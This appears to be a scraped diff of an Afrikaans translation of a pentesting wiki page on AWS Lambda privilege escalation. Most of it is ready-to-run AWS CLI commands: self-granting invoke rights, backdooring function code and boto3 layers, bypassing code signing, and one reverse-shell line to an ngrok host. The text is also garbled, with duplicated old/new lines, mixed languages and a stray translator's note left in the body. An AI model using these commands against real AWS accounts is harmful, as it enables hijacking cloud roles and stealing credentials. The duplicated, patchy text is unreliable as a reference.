> Let daarop dat selfs al lyk dit interessant **`lambda:InvokeAsync`** **nie** op sy eie toelaat om **`aws lambda invoke-async`** uit te voer nie, jy het ook **`lambda:InvokeFunction`** nodig.
|
||||
> Neem kennis dat selfs al mag dit interessant lyk, **`lambda:InvokeAsync`** laat op sigself NIE toe om **`aws lambda invoke-async`** uit te voer nie; jy benodig ook `lambda:InvokeFunction`
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
Soos in die vorige scenario, kan jy **jouself die `lambda:InvokeFunction`** toestemming gee as jy die toestemming **`lambda:AddPermission`** het.
|
||||
Soos in die vorige scenario, kan jy **jouself die `lambda:InvokeFunction` toestemming gee** as jy die toestemming **`lambda:AddPermission`** het.
|
||||
```bash
|
||||
# Check the previous exploit and use the following line to grant you the invoke permissions
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
|
||||
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
|
||||
```
|
||||
**Potensiële Impak:** Direkte privesc na die arbitrêre lambda diensrol wat gespesifiseer is.
|
||||
**Potensiële impak:** Direkte privesc na die arbitrêre lambda-diensrol wat gespesifiseer is.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
|
||||
|
||||
Gebruikers met **`iam:PassRole`, `lambda:CreateFunction`, en `lambda:CreateEventSourceMapping`** toestemmings (en moontlik `dynamodb:PutItem` en `dynamodb:CreateTable`) kan indirek **privileges verhoog** selfs sonder `lambda:InvokeFunction`.\
|
||||
Hulle kan 'n **Lambda-funksie met kwaadwillige kode skep en dit 'n bestaande IAM-rol toewys**.
|
||||
Gebruikers met **`iam:PassRole`, `lambda:CreateFunction`, en `lambda:CreateEventSourceMapping`** regte (en moontlik `dynamodb:PutItem` en `dynamodb:CreateTable`) kan indirek **escalate privileges** selfs sonder `lambda:InvokeFunction`.\
|
||||
Hulle kan 'n **Lambda function met kwaadwillige kode skep en dit 'n bestaande IAM-rol toewys**.
|
||||
|
||||
In plaas daarvan om die Lambda direk aan te roep, stel die gebruiker 'n bestaande DynamoDB-tabel op of gebruik dit, en koppel dit aan die Lambda deur 'n gebeurtenisbron-mapping. Hierdie opstelling verseker dat die Lambda-funksie **automaties geaktiveer word by 'n nuwe item** invoer in die tabel, hetsy deur die gebruiker se aksie of 'n ander proses, en roep dus indirek die Lambda-funksie aan en voer die kode uit met die toestemmings van die oorgedraagde IAM-rol.
|
||||
In plaas daarvan om die Lambda direk aan te roep, stel die gebruiker 'n bestaande DynamoDB-tabel op of gebruik dit, en koppel dit aan die Lambda deur middel van 'n event source mapping. Hierdie opstelling verseker dat die Lambda function outomaties geaktiveer word wanneer 'n nuwe item in die tabel ingevoeg word, hetsy deur die gebruiker se aksie of deur 'n ander proses, en roep dus die Lambda function indirek aan en voer die kode uit met die regte van die deurgegee IAM-rol.
|
||||
```bash
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
As DynamoDB reeds aktief is in die AWS-omgewing, moet die gebruiker net **die gebeurtenisbronkaart** vir die Lambda-funksie opstel. As DynamoDB egter nie in gebruik is nie, moet die gebruiker **nuwe tabel** met streaming geaktiveer **skep**:
|
||||
As DynamoDB reeds in die AWS-omgewing aktief is, hoef die gebruiker slegs die **gebeurtenisbronkartering** vir die Lambda-funksie op te stel. Indien DynamoDB egter nie in gebruik is nie, moet die gebruiker 'n **nuwe tabel skep** met streaming aangeskakel:
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
```
|
||||
Nou is dit moontlik **om die Lambda-funksie aan die DynamoDB-tabel te koppel** deur **'n gebeurtenisbronkaart te skep**:
|
||||
Nou is dit moontlik om die **Lambda-funksie aan die DynamoDB-tabel te koppel** deur **'n event source mapping te skep**:
|
||||
```bash
|
||||
aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
Met die Lambda-funksie wat aan die DynamoDB-stroom gekoppel is, kan die aanvaller **indirek die Lambda aktiveer deur die DynamoDB-stroom te aktiveer**. Dit kan bereik word deur **'n item in die DynamoDB-tabel in te voeg:**
|
||||
Met die Lambda-funksie wat aan die DynamoDB-stream gekoppel is, kan die attacker **indirek die Lambda laat afgaan deur die DynamoDB-stream te aktiveer**. Dit kan bereik word deur **'n item by die DynamoDB-tabel in te voeg**:
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
```
|
||||
**Potensiële Impak:** Direkte privesc na die lambda diensrol wat gespesifiseer is.
|
||||
**Potensiële impak:** Direkte privesc na die gespesifiseerde lambda diensrol.
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
'n Aanvaller met hierdie toestemming kan **homself (of ander) enige toestemmings gee** (dit genereer hulpbron-gebaseerde beleide om toegang tot die hulpbron te verleen):
|
||||
’n aanvaller met hierdie toestemming kan **homself (of ander) enige toestemmings toeken** (dit genereer resource-based policies om toegang tot die resource te verleen):
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -130,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
|
||||
# Invoke the function
|
||||
aws lambda invoke --function-name <func_name> /tmp/outout
|
||||
```
|
||||
**Potensiële Impak:** Direkte privesc na die lambda diensrol wat gebruik word deur toestemming te gee om die kode te wysig en dit uit te voer.
|
||||
**Potensiële impak:** Direkte privesc na die lambda diensrol deur toestemming te gee om die kode te wysig en dit uit te voer.
|
||||
|
||||
### `lambda:AddLayerVersionPermission`
|
||||
|
||||
'n Aanvaller met hierdie toestemming kan **homself (of ander) die toestemming `lambda:GetLayerVersion` gee**. Hy kan toegang tot die laag verkry en soek na kwesbaarhede of sensitiewe inligting.
|
||||
An attacker met hierdie toestemming kan **gee vir homself (of ander) die toestemming `lambda:GetLayerVersion`**. Hy kan toegang tot die layer kry en soek na kwesbaarhede of sensitiewe inligting
|
||||
```bash
|
||||
# Give everyone the permission lambda:GetLayerVersion
|
||||
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
|
||||
```
|
||||
**Potensiële Impak:** Potensiële toegang tot sensitiewe inligting.
|
||||
**Potensiële impak:** Potensiële toegang tot gevoelige inligting.
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
Gebruikers wat die **`lambda:UpdateFunctionCode`** toestemming het, het die potensiaal om die **kode van 'n bestaande Lambda-funksie wat aan 'n IAM-rol gekoppel is, te wysig.**\
|
||||
Die aanvaller kan **die kode van die lambda wysig om die IAM-akkrediteerings te eksfiltreer**.
|
||||
Gebruikers wat die **`lambda:UpdateFunctionCode`** toestemming het, het die potensiaal om die kode van 'n bestaande Lambda-funksie wat aan 'n IAM role gekoppel is, te wysig.\
|
||||
Die aanvaller kan **modify the code of the lambda to exfiltrate the IAM credentials**.
|
||||
|
||||
Alhoewel die aanvaller dalk nie die direkte vermoë het om die funksie aan te roep nie, as die Lambda-funksie reeds bestaan en operasioneel is, is dit waarskynlik dat dit geaktiveer sal word deur bestaande werksvloei of gebeurtenisse, wat dus indirek die uitvoering van die gewysigde kode fasiliteer.
|
||||
Alhoewel die aanvaller moontlik nie die direkte vermoë het om die funksie aan te roep nie, as die Lambda-funksie reeds bestaan en in werking is, is dit waarskynlik dat dit deur bestaande werkstrome of gebeure geaktiveer sal word, en sodoende die uitvoering van die aangepaste kode indirek fasiliteer.
|
||||
```bash
|
||||
# The zip should contain the lambda code (trick: Download the current one and add your code there)
|
||||
aws lambda update-function-code --function-name target_function \
|
||||
@@ -157,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt
|
||||
|
||||
# If not check if it's exposed in any URL or via an API gateway you could access
|
||||
```
|
||||
**Potensiële Impak:** Direkte privesc na die lambda diensrol wat gebruik word.
|
||||
**Potensiële impak:** Direkte privesc na die lambda-diensrol wat gebruik word.
|
||||
|
||||
### `lambda:UpdateFunctionConfiguration`
|
||||
|
||||
#### RCE via omgewing veranderlikes
|
||||
#### RCE via env variables
|
||||
|
||||
Met hierdie toestemmings is dit moontlik om omgewing veranderlikes by te voeg wat die Lambda sal laat uitvoer willekeurige kode. Byvoorbeeld, in python is dit moontlik om die omgewing veranderlikes `PYTHONWARNING` en `BROWSER` te misbruik om 'n python proses willekeurige opdragte te laat uitvoer:
|
||||
Met hierdie toestemmings is dit moontlik om omgewingsveranderlikes by te voeg wat veroorsaak dat die Lambda arbitrêre kode uitvoer. Byvoorbeeld in python is dit moontlik om die omgewingsveranderlikes `PYTHONWARNING` en `BROWSER` te misbruik om 'n python-proses arbitrêre opdragte uit te voer:
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
Vir ander skripting tale is daar ander omgewingsveranderlikes wat jy kan gebruik. Vir meer inligting, kyk na die subafdelings van skripting tale in:
|
||||
Vir ander skripttale is daar ander omgewingsveranderlikes wat jy kan gebruik. Vir meer inligting, sien die subafdelings oor skripttale in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
@@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc
|
||||
|
||||
#### RCE via Lambda Layers
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) laat jou toe om **kode** in jou lamdba funksie in te sluit, maar **dit apart te stoor**, sodat die funksiekode klein kan bly en **verskeie funksies kode kan deel**.
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) laat toe om **code** in jou lamdba funksie in te sluit, maar dit **afsonderlik te stoor**, sodat die funksie se code klein kan bly en **verskeie funksies code kan deel**.
|
||||
|
||||
Binne lambda kan jy die paaie nagaan waarvandaan python kode gelaai word met 'n funksie soos die volgende:
|
||||
Binne lambda kan jy die paaie nagaan vanwaar python code gelaai word met 'n funksie soos die volgende:
|
||||
```python
|
||||
import json
|
||||
import sys
|
||||
@@ -185,7 +185,7 @@ import sys
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(sys.path, indent=2))
|
||||
```
|
||||
Hierdie is die plekke:
|
||||
These are the places:
|
||||
|
||||
1. /var/task
|
||||
2. /opt/python/lib/python3.7/site-packages
|
||||
@@ -198,53 +198,53 @@ Hierdie is die plekke:
|
||||
9. /opt/python/lib/python3.7/site-packages
|
||||
10. /opt/python
|
||||
|
||||
Byvoorbeeld, die biblioteek boto3 word gelaai vanaf `/var/runtime/boto3` (4de posisie).
|
||||
For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
|
||||
|
||||
#### Exploitatie
|
||||
#### Eksploitasie
|
||||
|
||||
Dit is moontlik om die toestemming `lambda:UpdateFunctionConfiguration` te misbruik om **'n nuwe laag** by 'n lambda-funksie te **voeg**. Om arbitrêre kode uit te voer, moet hierdie laag 'n **biblioteek bevat wat die lambda gaan invoer.** As jy die kode van die lambda kan lees, kan jy dit maklik vind, let ook daarop dat dit moontlik is dat die lambda **reeds 'n laag gebruik** en jy kan die laag **aflaai** en **jou kode** daarby voeg.
|
||||
Dit is moontlik om die toestemming `lambda:UpdateFunctionConfiguration` te misbruik om 'n **nuwe layer** by 'n lambda-funksie te voeg. Om ewekansige kode uit te voer, moet hierdie layer 'n **library bevat wat die lambda gaan import.** As jy die kode van die lambda kan lees, kan jy dit maklik uitvind; let ook daarop dat dit moontlik is dat die lambda **al 'n layer gebruik** en jy die layer kan **download** en jou kode daarby kan **voeg**.
|
||||
|
||||
Byvoorbeeld, kom ons veronderstel dat die lambda die biblioteek boto3 gebruik, dit sal 'n plaaslike laag skep met die laaste weergawe van die biblioteek:
|
||||
Byvoorbeeld, kom ons stel voor dat die lambda die library boto3 gebruik; dit sal 'n plaaslike layer met die nuutste weergawe van die library skep:
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
U kan `./lambda_layer/boto3/__init__.py` oopmaak en **die agterdeur in die globale kode voeg** ('n funksie om akrediteerbare inligting te eksfiltreer of 'n omgekeerde skulp te kry, byvoorbeeld).
|
||||
Jy kan `./lambda_layer/boto3/__init__.py` oopmaak en **add the backdoor in the global code** (n funksie om credentials te exfiltrate of byvoorbeeld n reverse shell te kry).
|
||||
|
||||
Zip dan daardie `./lambda_layer` gids en **laai die nuwe lambda-laag op** in u eie rekening (of in die slagoffers een, maar u mag dalk nie toestemmings hiervoor hê nie).\
|
||||
Let daarop dat u 'n python-gids moet skep en die biblioteke daarin moet plaas om /opt/python/boto3 te oorskry. Ook moet die laag **kompatibel wees met die python weergawe** wat deur die lambda gebruik word, en as u dit na u rekening oplaai, moet dit in die **dieselfde streek** wees:
|
||||
Dan, zip daardie `./lambda_layer` gids en **upload the new lambda layer** in jou eie rekening (of in die slagoffer se rekening, maar jy mag dalk nie permissies daarvoor hê nie).\
|
||||
Let daarop dat jy n python folder moet skep en die libraries daar moet plaas om /opt/python/boto3 te oorskryf. Ook moet die layer **compatible with the python version** wees wat deur die lambda gebruik word en as jy dit na jou rekening upload, moet dit in die **same region:**
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
Maak die opgelaaide lambda-laag **toeganklik vir enige rekening**:
|
||||
Maak nou die opgelaaide lambda layer **deur enige rekening toeganklik**:
|
||||
```bash
|
||||
aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
--action lambda:GetLayerVersion --principal *
|
||||
```
|
||||
En heg die lambda-laag aan die slagoffer lambda-funksie:
|
||||
En koppel die lambda layer aan die geteikende lambda function:
|
||||
```bash
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <func-name> \
|
||||
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
```
|
||||
Die volgende stap sal wees om of **die funksie** self aan te roep as ons kan of om te wag totdat **dit aangeroep word** deur normale middele – wat die veiliger metode is.
|
||||
Die volgende stap sal wees om óf self die **funksie aan te roep** as ons kan, óf te wag totdat **dit aangeroep word** op normale wyse — wat die veiliger metode is.
|
||||
|
||||
'n **Meer stealth manier om hierdie kwesbaarheid te benut** kan gevind word in:
|
||||
'n **more stealth way to exploit this vulnerability** kan gevind word in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**Potensiële Impak:** Direkte privesc na die lambda diensrol wat gebruik word.
|
||||
**Potensiële impak:** Direkte privesc na die gebruikte lambda service role.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
Miskien met daardie toestemmings kan jy 'n funksie skep en dit uitvoer deur die URL aan te roep... maar ek kon nie 'n manier vind om dit te toets nie, so laat weet my as jy dit doen!
|
||||
Miskien met daardie permissies kan jy 'n funksie skep en dit uitvoer deur die URL aan te roep... maar ek kon nie 'n manier vind om dit te toets nie, laat weet my as jy dit doen!
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
Sommige lambdas gaan **sensitiewe inligting van die gebruikers in parameters ontvang.** As jy RCE in een van hulle kry, kan jy die inligting wat ander gebruikers na dit stuur, uitvange, kyk dit in:
|
||||
Sommige lambdas gaan **sensitiewe inligting van gebruikers in parameters ontvang.** As jy RCE in een daarvan kry, kan jy die inligting wat ander gebruikers daaraan stuur exfiltrate — kyk na:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
@@ -256,3 +256,62 @@ Sommige lambdas gaan **sensitiewe inligting van die gebruikers in parameters ont
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
|
||||
|
||||
If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
|
||||
|
||||
Permissies (een van):
|
||||
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Nota:
|
||||
- Vir Path B het jy nie 'n AWS Signer profile nodig nie as die CSC policy op `WARN` gestel is (unsigned artifacts allowed).
|
||||
|
||||
Stappe (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
|
||||
|
||||
Bereid 'n klein payload voor:
|
||||
```bash
|
||||
cat > handler.py <<'PY'
|
||||
import os, json
|
||||
def lambda_handler(event, context):
|
||||
return {"pwn": True, "env": list(os.environ)[:6]}
|
||||
PY
|
||||
zip backdoor.zip handler.py
|
||||
```
|
||||
Pad A) Verwyder CSC en werk dan die code by:
|
||||
```bash
|
||||
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
|
||||
if [ "$HAS_CSC" -eq 1 ]; then
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
|
||||
fi
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Pad B) Teruggradeer na Warn en werk die kode by (indien delete nie toegelaat is nie):
|
||||
```bash
|
||||
CSC_ARN=$(aws lambda create-code-signing-config \
|
||||
--description ht-warn-csc \
|
||||
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
|
||||
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
|
||||
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Bevestig: Ek sal die relevante Engelse teks in src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md na Afrikaans vertaal en presies dieselfde markdown- en HTML-sintaks behou. Ek sal nie kode, tegnieke name, algemene hacking-woordeskat, cloud/SaaS platformname (bv. aws), die woord 'leak', pentesting, skakels, of paths vertaal nie. Ek sal geen bykomende inhoud byvoeg nie.
|
||||
```bash
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
|
||||
cat /tmp/out.json
|
||||
```
|
||||
Potensiële impak: Vermoë om ewekansige/onondertekende kode in 'n funksie te laai en uit te voer wat veronderstel was om ondertekende ontplooiings af te dwing, wat moontlik lei tot kode-uitvoering met die bevoegdhede van die funksierol.
|
||||
|
||||
Opruiming:
|
||||
```bash
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
|
||||
```
|
||||
|
||||
|
||||
Reference in New Issue
Block a user